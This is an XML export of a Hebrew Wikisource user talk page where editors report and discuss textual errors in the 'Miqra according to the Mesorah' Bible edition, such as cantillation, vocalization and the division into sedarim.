שיחת משתמש:Dovi

<mediawiki xmlns="http://www.mediawiki.org/xml/export-0.11/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.mediawiki.org/xml/export-0.11/ http://www.mediawiki.org/xml/export-0.11.xsd" version="0.11" xml:lang="he">
  <siteinfo>
    <sitename>ויקיטקסט</sitename>
    <dbname>hewikisource</dbname>
    <base>https://he.wikisource.org/wiki/%D7%A2%D7%9E%D7%95%D7%93_%D7%A8%D7%90%D7%A9%D7%99</base>
    <generator>MediaWiki 1.47.0-wmf.7</generator>
    <case>first-letter</case>
    <namespaces>
      <namespace key="-2" case="first-letter">מדיה</namespace>
      <namespace key="-1" case="first-letter">מיוחד</namespace>
      <namespace key="0" case="first-letter" />
      <namespace key="1" case="first-letter">שיחה</namespace>
      <namespace key="2" case="first-letter">משתמש</namespace>
      <namespace key="3" case="first-letter">שיחת משתמש</namespace>
      <namespace key="4" case="first-letter">ויקיטקסט</namespace>
      <namespace key="5" case="first-letter">שיחת ויקיטקסט</namespace>
      <namespace key="6" case="first-letter">קובץ</namespace>
      <namespace key="7" case="first-letter">שיחת קובץ</namespace>
      <namespace key="8" case="first-letter">מדיה ויקי</namespace>
      <namespace key="9" case="first-letter">שיחת מדיה ויקי</namespace>
      <namespace key="10" case="first-letter">תבנית</namespace>
      <namespace key="11" case="first-letter">שיחת תבנית</namespace>
      <namespace key="12" case="first-letter">עזרה</namespace>
      <namespace key="13" case="first-letter">שיחת עזרה</namespace>
      <namespace key="14" case="first-letter">קטגוריה</namespace>
      <namespace key="15" case="first-letter">שיחת קטגוריה</namespace>
      <namespace key="104" case="first-letter">עמוד</namespace>
      <namespace key="105" case="first-letter">שיחת עמוד</namespace>
      <namespace key="106" case="first-letter">ביאור</namespace>
      <namespace key="107" case="first-letter">שיחת ביאור</namespace>
      <namespace key="108" case="first-letter">מחבר</namespace>
      <namespace key="109" case="first-letter">שיחת מחבר</namespace>
      <namespace key="110" case="first-letter">תרגום</namespace>
      <namespace key="111" case="first-letter">שיחת תרגום</namespace>
      <namespace key="112" case="first-letter">מפתח</namespace>
      <namespace key="113" case="first-letter">שיחת מפתח</namespace>
      <namespace key="116" case="first-letter">מקור</namespace>
      <namespace key="117" case="first-letter">שיחת מקור</namespace>
      <namespace key="710" case="first-letter">TimedText</namespace>
      <namespace key="711" case="first-letter">TimedText talk</namespace>
      <namespace key="828" case="first-letter">יחידה</namespace>
      <namespace key="829" case="first-letter">שיחת יחידה</namespace>
      <namespace key="1728" case="first-letter">אירוע</namespace>
      <namespace key="1729" case="first-letter">שיחת אירוע</namespace>
    </namespaces>
  </siteinfo>
  <page>
    <title>שיחת משתמש:Dovi</title>
    <ns>3</ns>
    <id>33</id>
    <revision>
      <id>3020722</id>
      <parentid>3019116</parentid>
      <timestamp>2026-06-19T07:01:25Z</timestamp>
      <contributor>
        <username>Shacoaz</username>
        <id>35453</id>
      </contributor>
      <comment>/* ויעמדו פתח אהל מועד */ פסקה חדשה</comment>
      <origin>3020722</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="46095" sha1="05kpvmtzdrv4sj415i4zgg4zpga3phs" xml:space="preserve">כאן בדף שיחתי ניתן לדווח על טעויות ב'''[[משתמש:Dovi/מקרא על פי המסורה|מקרא על פי המסורה]]''' וב'''[[תרגום אונקלוס]]''', וגם כמובן לפנות אלי למטרות אחרות. לחץ על [https://he.wikisource.org/w/index.php?title=%D7%A9%D7%99%D7%97%D7%AA_%D7%9E%D7%A9%D7%AA%D7%9E%D7%A9:Dovi&amp;action=edit&amp;section=new &quot;פסקה חדשה&quot;] כדי להתחיל דיון חדש.&lt;div dir=&quot;ltr&quot;&gt;
Here at my talk page you can report errors in '''[[:en:User:Dovi/Miqra according to the Mesorah|Miqra according to the Mesorah]]''' and '''[[תרגום אונקלוס|Targum Onkelos]]''', or contact me for any other reason. Click on [https://he.wikisource.org/w/index.php?title=%D7%A9%D7%99%D7%97%D7%AA_%D7%9E%D7%A9%D7%AA%D7%9E%D7%A9:Dovi&amp;action=edit&amp;section=new Add topic] to begin a new discussion.
&lt;/div&gt;
{{ש}}
__TOC__
==ארכיון==

'''ארכיון לדף השיחה שלי:'''
*'''[[שיחת משתמש:Dovi/ארכיון א|א]]'''
*'''[[שיחת משתמש:Dovi/ארכיון ב|ב]]'''
*'''[[שיחת משתמש:Dovi/ארכיון ג|ג]]'''
*'''[[שיחת משתמש:Dovi/ארכיון ד|ד]]''' (05.10-12.12)
*'''[[שיחת משתמש:Dovi/ארכיון ה|ה]]''' (01.13-08.13)
*'''[[שיחת משתמש:Dovi/ארכיון ו|ו]]''' (24.10.2013-04.01.2022)
*'''[[שיחת משתמש:Dovi/ארכיון ז|ז]]''' (13.01.2022-31.12.2024)
*'''[[שיחת משתמש:Dovi/ארכיון ח|ח]]'''

== פרשת ויגש (בראשית מה יד): ויפל על צוארי בניָֽמִן־אחיו ==

אמנם הנוסח בלנינגרד בנימִֽן־ (וניתן אף להסתפק אם קיימת געיה בכלל, אבל נראה יותר שהיא קיימת), אבל בכתבי יד ששון 
בניָֽמִן־ (ניתן לראות את זה בבירור בתורה ששון, בתנ״ך ששון לא סומן החירק כלל), וכן בכת״י וטיקן 448 (דף 61r , יש שם בעיה עם סידור הדפים), וכ״כ מנחת שי, ובחילופין מישאל נכתב שלא נחלקו בזה ב״א וב״נ, וכן הוא בברויאר ובמק״ג הכתר. [[משתמש:Shacoaz|Shacoaz]] ([[שיחת משתמש:Shacoaz|שיחה]]) 10:58, 10 בינואר 2025 (IST)

:תודה [[משתמש:Shacoaz|Shacoaz]]! [https://he.wikisource.org/w/index.php?title=%D7%91%D7%A8%D7%90%D7%A9%D7%99%D7%AA_%D7%9E%D7%94/%D7%98%D7%A2%D7%9E%D7%99%D7%9D&amp;curid=236117&amp;diff=2899983&amp;oldid=2859185 הוספתי תיעוד]. כשאתה מבצע תיקון, אם יש אפשרות חשוב לתעד מייד את נוסח כתי&quot;ל, ואז יהיה ברור שיש מה לדון בתיבה. אח&quot;כ אפשר להוסיף.

:שאלה: מהו היתרון בנוסח הגעיות בכת&quot;י ותיקן 448? לפי הקטלוג התרגום מאוד חשוב בו, ויש גם מסורה מיוחדת. מישהו בדק בו ניקוד וטעמים וגעיות? שבת שלום, [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 14:51, 10 בינואר 2025 (IST)

== מזמור קנ&quot;א\תהלים קנא ==

ר' אבי, האם תוכל בבקשה לפנות זמן ולחוות דעתך בנושא שם הדף הראוי ל[[מזמור קנ&quot;א]] \ [[תהלים קנא]], בדיון המתקיים בדף [[שיחת משתמש:פעמי-עליון]]? אעריך זאת מאוד. בברכה, [[משתמש:Nahum|נחום]] • [[שיחת משתמש:Nahum|שיחה]] 12:48, 18 במרץ 2025 (IST)

== קמץ ב&quot;בז לרעהו&quot; ==

[[שיחת קטגוריה:משלי יא יב#קמץ קטן או גדול ב&quot;בז&quot;]]

אשמח לתשובה [[משתמש:J. Nord|J. Nord]] ([[שיחת משתמש:J. Nord|שיחה]]) 16:31, 2 באפריל 2025 (IDT)

== לא אד&quot;ו ראש ולא בד&quot;ו פסח ==

פסח השנה (תשפ&quot;ה) יוצא ביום ראשון ולכן חול המועד ביום שני אבל אין בטבלה את הקריאה של חול המועד היוצא ביום שני של פסח.
באותו האופן אם לא בד&quot;ו פסח אז למשל לא יכול להיות שיום שלישי יהיה חול המועד א של פסח [[משתמש:Yaakov shitrit|Yaakov shitrit]] ([[שיחת משתמש:Yaakov shitrit|שיחה]]) 09:37, 14 באפריל 2025 (IDT)
: לא הבנתי מה חסר לך בטבלה. פסח חל השנה ביום ראשון והטבלה אומרת שבט&quot;ז בניסן קוראים &quot;שור או כשב&quot;. מועדים לשמחה, [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 11:44, 14 באפריל 2025 (IDT)

== אנא ה' הושיעה נא ==

שבוע טוב,

ראיתי השבת שבסידור קורן מופיע שיש להגות &quot;הוש֫יעה&quot;. כדי להבין למה, בדקתי בגרסה שלהם וראיתי שבתנ&quot;ך קורן המילה מוטעמת במונח בלבד באות שי&quot;ן. רציתי להשוות את זה למקרא על פי המסורה ולא ראיתי תיעוד של הגרסה הזאת. היא מופיעה בעוד גרסאות של מקראות גדולות שהסתכלתי בהן. אשמח להוסיף את הגרסה. [[משתמש:Kurpaph|Kurpaph]] ([[שיחת משתמש:Kurpaph|שיחה]]) 22:19, 19 באפריל 2025 (IDT)
: לא כל שטות של קורן ראויה לתיעוד לענ&quot;ד.-- [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 00:25, 20 באפריל 2025 (IDT)
::אני מסכים שאי-אפשר להעיר על כל הטעמה חריגה בדפוסים בכלל, ובדפוס קורן בפרט. ברובם אין שום משמעות. ביחד עם זה, חשוב להעיר במקומות שהמדקדקים עוסקים בהם או שאנשים נוטים לשאול. במקום הזה יש לא רק דיון במ&quot;ש, אלא גם שבסידורים רבים מציינים ב&quot;הושיעה&quot; שהיא מלעיל. הוספתי הערה. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 12:56, 23 באפריל 2025 (IDT)
:::תודה רבה @[[משתמש:Dovi|Dovi]]!
:::בהקשר לשיח, אשמח להבהרה בנוגע לדברים שנכנסים לגרסה זו ולדברים שלא. חשבתי שיש כאן רשימה של כל גרסאות המסורה וכמובן של כתבי היד. לא ידעתי שיש כאן השמטה של מסורות הדפוסים. [[משתמש:Kurpaph|Kurpaph]] ([[שיחת משתמש:Kurpaph|שיחה]]) 14:20, 23 באפריל 2025 (IDT)
::::ממליץ לך לקרוא את ההקדמה למהדורה. אין כאן &quot;השמטה של מסורות הדפוסים&quot;, כי המהדורה איננה מיוסדת על הדפוסים ואין מה להשמיט. היא מיוסדת על כתר ארם צובה וכת&quot;י לנינגרד, ולכן יש חובה לציין כל חריגה מהם וכל נקודה לא ברורה בהם. לעתים הדפוסים שופכים קצת אור על השאלות הללו, לפחות בתור השוואה, ולכן ציינו אותם. בנוסף לכך, יש מקומות שנוסח הדפוסים כה שגור בפיהם של הקוראים, עד כדי כך שכדאי לציין את ההבדל בינו לבין נוסח כתבי היד. עשיתי כך פעמים רבות בתורה, אבל יש מקום לשפר. גם במזמורי הלל, כמו בפסוק הזה, הצורך הזה קיים. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 16:16, 23 באפריל 2025 (IDT)

== לגרמיה / פסק ==

אם אני מבין נכון, לגרמיה מוצג בצורה בולטת יותר מסתם פסק. למשל, בבראשית א' 29 (במלה &quot;עשב&quot;) הוא מוצג כקו עבה:

[[:קטגוריה:בראשית א כט]]

אבל בבראשית א' 21 גם כן יש לגרמיה (במלה &quot;החיה&quot;), אבל משום מה הוא מוצג כקו חלש:

[[:קטגוריה:בראשית א כא]]

האם זה אינו לגרמיה? יש באותה מלה &quot;מונח&quot; מתחת ליו&quot;ד. [[מיוחד:תרומות/2A02:14F:F:8079:A807:2FC7:4E81:55AC|2A02:14F:F:8079:A807:2FC7:4E81:55AC]] 09:55, 1 במאי 2025 (IDT)
: בבראשית א 21 במלה &quot;החיה&quot; אין לגרמיה אלא פסק רגיל, שכן במלה &quot;הרומשת&quot; יש פזר. לעומת זאת, כאשר לאחר המונח בא רביע או מונח רביע, הרי המונח שלפניו הוא לגרמיה. 
: כעיקרון, לפני רביע בא לגרמיה (וכן לפני מהפך פשטא, או לפני קדמא ואזלא). לעומת זאת, לפני פזר בא מונח רגיל עם פסק. בברכה, [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 12:50, 1 במאי 2025 (IDT)

תודה על שאלתך ועל הרצון לדיוק, ותודה נחום על התשובה הנכונה. ראו במבוא למידע מפורט על [[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#פסק ולגרמיה|ההבחנה בין &quot;פסק&quot; ל&quot;לגרמיה]]. שבת שלום, [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 09:32, 2 במאי 2025 (IDT)

== Contacting you ==

Is there a way I can contact you in English about use of your MAM text? [[מיוחד:תרומות/183.182.111.122|183.182.111.122]] 10:11, 18 במאי 2025 (IDT)

Sure! Just log in to Wikisource, click on &quot;Tools&quot;, and select &quot;Email this user&quot;. I'd be happy to help however I can. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 12:34, 18 במאי 2025 (IDT)

== שינוי קישור למקרא בויקיטקסט ==

[[משתמש:Dovi|Dovi]], [https://he.wikisource.org/w/index.php?diff=2960542 עריכה] זו בסדר? [[משתמש:יחיאל הלוי|יחיאל הלוי]] ([[שיחת משתמש:יחיאל הלוי|שיחה]]) 13:55, 12 באוקטובר 2025 (IDT)

:כן, כך צריך להיות. תודה! [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 16:33, 12 באוקטובר 2025 (IDT)

== הטעמה באיוב ו י ==

{{מ:דחי|בְ֭חִילָה|בְ֭חִילָ֭ה}} - על פי מה קבעת את ההטעמה מלרע? מסברה? זו לא צורה מוארכת של חיל? [[משתמש:יחיאל הלוי|יחיאל הלוי]] ([[שיחת משתמש:יחיאל הלוי|שיחה]]) 15:27, 15 באוקטובר 2025 (IDT)

:תודה רבה על תשומת הלב והדיוק בשאלה! לא שמתי לב לזה קודם. בדקתי עכשיו, ו[https://he.wikisource.org/w/index.php?title=%D7%90%D7%99%D7%95%D7%91_%D7%95/%D7%98%D7%A2%D7%9E%D7%99%D7%9D&amp;curid=238996&amp;diff=2960832&amp;oldid=2912427 הוספתי הערת נוסח]. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 16:27, 15 באוקטובר 2025 (IDT)
::תודה רבה! [[משתמש:יחיאל הלוי|יחיאל הלוי]] ([[שיחת משתמש:יחיאל הלוי|שיחה]]) 21:25, 16 באוקטובר 2025 (IDT)

== וריקה וגעיה בשופטים ז' ז' ==

במילה &quot;המלקקים&quot; בשופטים ז' ז' יש בכתר חטפים באות מ' ובאות ק' וגעיות באות ה' ובאות ל', אך במהדורה מסומנת רק הגעיה ב-ה' והווריקה ב-ק' (אולי בהשפעת המילה &quot;המלקקים&quot; שבפסוק הקודם, שאכן מופיעה בהתאם לכתר). [[משתמש:עשהאל|עשהאל]] ([[שיחת משתמש:עשהאל|שיחה]]) 00:56, 28 באוקטובר 2025 (IST)

:תודה [[משתמש:עשהאל|עשהאל]]! [https://he.wikisource.org/w/index.php?title=%D7%A9%D7%95%D7%A4%D7%98%D7%99%D7%9D_%D7%96/%D7%98%D7%A2%D7%9E%D7%99%D7%9D&amp;curid=236813&amp;diff=2962084&amp;oldid=2907888 '''תיקנתי''']. בבקשה לבדוק שוב שהכל בסדר עכשיו. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 08:05, 28 באוקטובר 2025 (IST)

== הצעה – ציטוט בוויקיטקסט מתוך מקרא על פי המסורה ==

אני עורך ערכים בוויקיטקסט, בעיקר כאלה שהם חלקים מהתפילה ומוסיף להם סימני הטעמות (כשמדובר במלעיל ולא במלרע). התפילה בנויה לרוב על פסוקים וכדי לכתוב אותם בצורה מדויקת אני מעדיף להשתמש בתבנית שתביא לי את המידע ממקור מהימן, אבל כרגע אין תבנית שתיתן לי את הפסוקים עם מיקומי ההטעמות שלהם (נגיד עם אפשרות של םֽ או ם֫). להבנתי משיחה עם @[[משתמש:נחום|נחום]] המידע שמגיע לתבניות צת וצת לעיצוב הוא מהגרסה המנוקדת. אני חושב שאפשר לשפר את זה משני כיוונים:
1. אני חושב שחבל שהמידע לא מגיע מהפרויקט הענק של ויקיטקסט – מקרא על פי המסורה.
2. אשמח שתהיה לי אפשרות ציטוט פסוקים עם סימון מיקומי ההטעמות (לרוב םֽ או ם֫, אפשרי לבחירת המשתמש כארגומנט).

האם לדעתך זה יהיה דבר אפשרי?

[[שיחת תבנית:צת]] [[משתמש:Kurpaph|Kurpaph]] ([[שיחת משתמש:Kurpaph|שיחה]]) 11:40, 29 באוקטובר 2025 (IST)

== יחזקאל לו:לח &quot;קדשים&quot; קמץ הקוף ==

'''הדיון הועבר אל [[שיחת ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#קמץ קטן]].'''

== Ps 53:6.3 ==

פָּ֥חֲדוּ פַחַד֮
.It seems to me that the first syllable in this word could use a stress helper above it
David E. S. Stein— [[מיוחד:תרומות/&amp;#126;2025-30591-86|&amp;#126;2025-30591-86]] • [[שיחת משתמש:&amp;#126;2025-30591-86|שיחה]] 16:28, 30 באוקטובר 2025 (IST)

:תודה דוד. אבל הוא '''[[תהלים נג/טעמים#נג ו|כבר נמצא שם]]'''! [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 17:00, 30 באוקטובר 2025 (IST)

== נקודה בו&quot;ו עיצורית ==

כפי שאתה מציין [[וק:מבוא למקרא על פי המסורה/פרק ב#נקודה בוי&quot;ו עיצורית|במבוא למקרא]], הושמטו הנקודות בו&quot;וים עיצוריות, לפי דבריך כדי למנוע בלבול. לכאורה הנקודות הללו הן דגשים חזקים, שמשפיעים על הקריאה, ואם כן דוקא השמטה שלהן היא שיש בה משום גרימת טעות. [[משתמש:הירש אייזנשטיין|הירש אייזנשטיין]] • [[שיחת משתמש: הירש אייזנשטיין|שיחה]] • ט&quot;ז בכסלו ה'תשפ&quot;ו • 23:20, 6 בדצמבר 2025 (IST)

:בוקר טוב ושבוע טוב. תודה רבה על תשומת הלב! לא מדובר על דגש, אבל מה שכתבתי במבוא לא היה מספיק כדי להבהיר את זה. ראה [[וק:מבוא למקרא על פי המסורה/פרק ב#נקודה בוי&quot;ו עיצורית|במבוא]] עכשיו. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 07:49, 7 בדצמבר 2025 (IST)

::כמדומני שגם את הנקודה המסומנת בא' ב[[ויקרא כג יז]] ו[[בראשית מג כו]] יש מסבירים באותו אופן, שלא מדובר בדגש חזק (שלא אמור היה לבוא כאן), אלא בסימן שהא' עיצורית ולא תיבלע קריאתה. אמנם שם כן נהגו בדפוסים לסמן את הנקודה. [[משתמש:בן עדריאל|בן עדריאל]] ([[שיחת משתמש:בן עדריאל|שיחה]]) 12:23, 7 בדצמבר 2025 (IST)

:::נכון, יש דמיון ניכר בין התופעות (נקודה באות לפני שורוק). יש גם שוני: אכן אפילו בדפוסים הקפידו על א' דגושה, ולא במקרה. המסורה הקפידה להורות במפורש על הדגשים האלה באל&quot;ף, והיא קוראית להם במפורש &quot;דגש&quot;. לכן יש עקביות גבוהה בנושא הזה בכתבי־היד (ובהמשך אחר כך בדפוסים). לכן ההסבר שהבאת יאה לתופעה: &quot;סימן שהא' עיצורית ולא תיבלע קריאתה&quot;. לעומת זאת, אין התייחסות בהערות המסורה לנקודה בוי&quot;ו עיצורית ואין הקפדה בכתבי־היד (ולרוב היא לא נכתבת). וההסבר שמציע ייבין הוא בעצם הפוך: הנקודה לא באה לסמן שהאות וי&quot;ו עיצורית, אלא לסמן &quot;שבמקרה זה הו' מבוטאת כתנועה ממש (היינו: uu); שהרי העיצור ו נֶהגה בדרך כלל כחצי תנועה, וכשבאה אחריו תנועת u, שהיא מסוגו, מתקרבת הגייתו להגיית תנועה ממש&quot;. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 12:56, 7 בדצמבר 2025 (IST)

== ויקרא י' פסוק ד' ==

בפסוק יש ציון במסורה לתלישא גדולה וגרשיים, אולם בתצוגה [[ויקרא י ד|כאן]] הסימון נראה כפול, מדוע ?
תודה, מתן [[מיוחד:תרומות/&amp;#126;2026-60674|&amp;#126;2026-60674]] • [[שיחת משתמש:&amp;#126;2026-60674|שיחה]] 00:06, 4 בינואר 2026 (IST)
:בוקר טוב, ותודה על תשומת הלב לפרטים! ראה בבקשה את '''[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#גרש או גרשיים ותלישא גדולה בתיבה אחת|ההסבר כאן]]'''. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 06:29, 4 בינואר 2026 (IST)

== דפים במרחב שלך שאולי כבר אפשר למחוק ==

למשל [[משתמש:Dovi/תורה על פי המסורה/ספר ויקרא/שלם]], [[משתמש:Dovi/תורה על פי המסורה/ספר ויקרא/כ]]

אולי גם [[משתמש:Dovi/מקרא מבואר ספר שלם]]

הם מופיעים בדפי קטגוריה ובדפי &quot;דפים המקושרים לכאן&quot;. זה לא קריטי, אבל קצת מפריע.

אולי אפשר למחוק את התוכן שלהם וליצור מהם הפניה לדפים התואמים במתחם הראשי? תודה, [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 21:17, 21 בינואר 2026 (IST)

:למיטב ידיעתי הם נשארו עם התוכן הנוכחי בתור תיעוד כלשהו. [[משתמש:הירש אייזנשטיין|הירש אייזנשטיין]] • [[שיחת משתמש: הירש אייזנשטיין|שיחה]] • ג' בשבט ה'תשפ&quot;ו • 21:21, 21 בינואר 2026 (IST)

בוקר טוב. מכיוון שהעבודה התחילה במרחב האישי בתור טיוטות, אז חלק מה&quot;היסטוריה&quot; של דפי המקרא נמצא בדפים כאלה. אין כאן שום דבר קריטי. אבל אולי כדאי באמת להפוך אותם להפניות במקום למחוק לגמרי. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 05:29, 22 בינואר 2026 (IST)
:מעולה!  לקחתי את [[משתמש:Dovi/תורה על פי המסורה/נשא|פרשת נשא]] בתור ניסוי. השארתי את [[:תבנית:דף היסטורי משתמש]] שהיא בעצם סוג של הפניה וגם הסבר למה קיים הדף הזה. מקובל?  אני יכול לכתוב בוט שיעשה את זה לכל הדפים שיש בהם [[:תבנית:דף היסטורי משתמש]]? 
:נ.נ. אנחנו מחכים כצאן ללא רועה לשמוע את דעתך לגבי הפסיקים, השורות נפרדות, ולגבי מהדורת הכתיב ב[[שיחה:מקרא]]. [[משתמש:Ori229|&amp;#45;- אוֹרי]] ([[שיחת משתמש:Ori229|שיחה]]) 07:54, 22 בינואר 2026 (IST)

== אי עקביות בתנ&quot;ך הפונטי בתעתוק דחיק ==

ערב טוב,

רציתי להסב את תשומת לבך לכך ש[https://bdenckla.github.io/phonetic-hbo/tnkh/A2-Exodus/20.html בתנ&quot;ך הפונטי]  בספר שמות פרק כ, בפסוק כ ובפסוק כא מסומן דחיק ב'''לִּ'''י
{| class=&quot;wikitable&quot;
|תַּעֲשֶׂה־'''לִּ'''י
|ta·‘ă·se-'''llí'''
|}
לעומת זאת, בפרק יט', פסוק [https://bdenckla.github.io/phonetic-hbo/tnkh/A2-Exodus/19.html כג]: כִּֽי־אַתָּ֞ה הַעֵדֹ֤תָה '''בָּ֙'''נוּ֙ לֵאמֹ֔ר אמור להיות דחיק [https://he.wikisource.org/wiki/%D7%91%D7%99%D7%90%D7%95%D7%A8:%D7%93%D7%97%D7%99%D7%A7/%D7%A8%D7%A9%D7%99%D7%9E%D7%AA_%D7%9B%D7%9C_%D7%9E%D7%95%D7%A4%D7%A2%D7%99_%D7%94%D7%93%D7%97%D7%99%D7%A7_%D7%91%D7%9E%D7%A7%D7%A8%D7%90#:~:text=%D7%91%D6%B8%D6%BC%D6%99%D7%A0%D7%95%D6%BC%D6%99%20%D7%9C%D6%B5%D7%90%D7%9E%D6%B9%D6%94%D7%A8%20(-,%D7%A9%D7%9E%D7%95%D7%AA%20%D7%99%D7%98%2C%20%D7%9B%D7%92,-)%2C%20%D7%95%D6%B7%D7%99%D6%B9%D6%BC%D6%A8%D7%90%D7%9E%D6%B6%D7%A8%20%D7%99%D6%B0%D7%94%D7%95%D6%B9%D7%A9%D6%BB%D7%81%D6%9C%D7%A2%D6%B7%20%D7%90%D6%B6%D7%9C%2D%D7%9B%D6%B8%D6%BC%D7%9C] וכך מסומן גם בתנ&quot;ך סימנים, שגם בו מסומן דחיק באות בי&quot;ת, וגם על פי הדקדוק נראה לי שזה אינו דגש קל, אבל בתנ&quot;ך הפונטי מסומן רק דגש קל.
{| class=&quot;wikitable&quot;
|בָּ֙נוּ֙
|'''ba'''·nu
|}
נראה שגם בשאר התנ&quot;ך קיימת אי עקביות זו בתעתוק הדחיק, שבאותיות בג״ד כפ״ת הוא מסומן כדגש קל (כיוון שב'על התורה'  לא מסומן דחיק כדגש חזק באותיות בג״ד כפ״ת), ובשאר האותיות הוא מסומן כדגש חזק.

לפיכך, מומלץ לקבוע שיטה עקבית לתעתוק הדחיק, שתשמור על עקביות בין אותיות בג&quot;ד כפ&quot;ת לשאר האותיות. [[משתמש:נשיא|נשיא]] ([[שיחת משתמש:נשיא|שיחה]]) 21:15, 3 בפברואר 2026 (IST)

:בוקר טוב, ותודה על ההערה החשובה. אפנה אותה אל המתכנת שבנה את התנ&quot;ך הפונטי. לשם כך הוא לקח את הסימון של &quot;שווא נע&quot; ו&quot;דגש חזק&quot; מאתר על התורה (בשיתוף פעולה, ואנחנו מודים להם על כך). מקור הבעיה, כנראה, הוא הקושי לאתר ולסמן דחיק לאורך התנ&quot;ך באופן אוטומטי בתור בסיס ראשוני. כלומר: קל לאתר אותו ברוב האותיות, אך קשה יותר באותיות בג&quot;ד כפ&quot;ת. אמנם ייתכן שיש דרך לעשות את זה. אם תרצה, אוכל לשתף אותך בדיון מול המתכת, ואולי תוכל לעזור בביצוע ובידוק. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 09:14, 4 בפברואר 2026 (IST)
::ערב טוב, תודה על התשובה המהירה, אני לא מומחה לדקדוק, ואני סומך עליכם (אלא אם תגיעו למסקנה לא לבצע את זה עכשיו, אלא להתמקד בדברים אחרים, או שאין לכם עכשיו את המשאבים לביצוע הסימון) שתבצעו את זה באופן מקצועי ומדויק. לדעתי, אם אי אפשר לבצע את הסימון באמצעות קוד, אולי אפשר לבקש מהוצאה שמסמנת דגש חזק, שתשתף איתכם את רשימת הדחיק, לדוגמה ממכון סימנים, במהדורתו המבוססת על הכתר (במהדורה של התנ&quot;ך שיש אצלי, נראה לי משנת תשע&quot;ה שבו יש סימון של דגש חזק גם בדחיק),ואפשר לבקש מהם שישחררו את רשימת הדחיק לציבור דרך המיזם (אני לא יודע מה הסיכויים שהם יסכימו לשחרר את זה, אבל אם כן אז יהיה יחסית קל להוסיף את הסימון למהדורה). אני רוצה גם להביע הערכה למיזם באופן כללי, על הנגשת  נוסח המסורה בצורה חופשית,עם סימון של כמעט כל מה שצריך לקריאה, ובצורה המותאמת לקורא, דבר שכמעט ולא נעשה (אולי רק מכון סימנים ותיקון קוראים חורב), אז תודה רבה על כל ההשקעה בעריכה ובהגהה של התנ&quot;ך. [[משתמש:נשיא|נשיא]] ([[שיחת משתמש:נשיא|שיחה]]) 21:38, 4 בפברואר 2026 (IST)

== סדרים וגרסת דף אחד של ספרים ==

בזמן השוואה יחסית מהירה ולא קפדנית של הסדרים בין מקרא על פי המסורה ורשימת הסדרים של [https://shivalevitzaron.org/wp-content/uploads/2025/09/%D7%A8%D7%90%D7%A9%D7%99-%D7%A1%D7%93%D7%A8%D7%99-%D7%94%D7%AA%D7%A0%D7%9A-%D7%9C%D7%90%D7%AA%D7%A8.pdf שיבה לבצרון] (וכשנמצאה חוסר התאמה גם עם של [https://www.tanachyomi.co.il/PDFFiles/prakim.pdf תנ״ך יומי]), מצאתי את חוסר ההתאמות הבאות:
#שמואל סדר ג: מופיע בשמואל א ג:יט במקום ג:כ
#שמואל סדר יג: מופיע בשמואל א כ:ה במקום כ:ד
#שמואל סדר כא: מופיע בשמואל ב ב:ו במקום ב:ז
#מלכים סדר כב: מופיע במלכים ב ו:ז במקום ו:כג
#ישעיהו סדר כו: לא מופיע במקום ישעיהו סה:ט
בנוסף לכך, בדקתי את הסדרים לרוב בגרסאות הדף אחד של הספרים, ומצאתי טקסט (שכנראה לא מתאים שיהיה שם) במקומות הבאים:
ירמיהו יז:כו (סדר ט*): מופיע {{נוסח|
ירמיהו ל:לב: מופיע {#קטע:משתמש:Dovi/נביאים וכתובים על פי המסורה/ספר ירמיהו/ל|ירמיהו ל}}
תהילים צז:יב: דומה לנמצא מתחת, בדברי הימים
דברי הימים ב לד:לג: #קטע:דברי הימים ב לה/טעמים#קטע:דברי הימים ב לו/טעמיםתבנית:מ:טעמי המקרא-סוףתבנית:מ:שוליים-סוף [[מיוחד:תרומות/&amp;#126;2026-98926-0|&amp;#126;2026-98926-0]] • [[שיחת משתמש:&amp;#126;2026-98926-0|שיחה]] 21:38, 13 בפברואר 2026 (IST)
:שבוע טוב, ותודה על ההערות. עיקר המהדורות שצריך לבדוק לגבי שאלות מהסוג הזה: ברויאר (על פי כתר ארם צובה), וקורן (עשיתי השוואה מולו). וחשוב לבדוק ב'''[https://archive.org/details/kitabalkhilafmis0000mish/page/n5/mode/2up ספר החילופים]''', לקרוא [[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה#חלוקת הסדרים בנביאים וכתובים|כאן במבוא]].
:אני רואה 5 מקומות ברורים בשאלתך (ראה למעלה), שמתוכם שלושת הראשונים הם שאלה של הזזה של פסוק אחד. אבדוק אותם בעזר&quot;ה. אחר כך #4 (מל&quot;ב ו) יש כבר הסבר בהערת נוסח, ו-#5 בסוף ישעיהו צריך לבדוק.
:אחר כך אינני מבין את ההמשך בדבריך. [[משתמש:Dovi|Dovi]] ([[שיחת משתמש:Dovi|שיחה]]) 22:08, 14 בפברואר 2026 (IST)
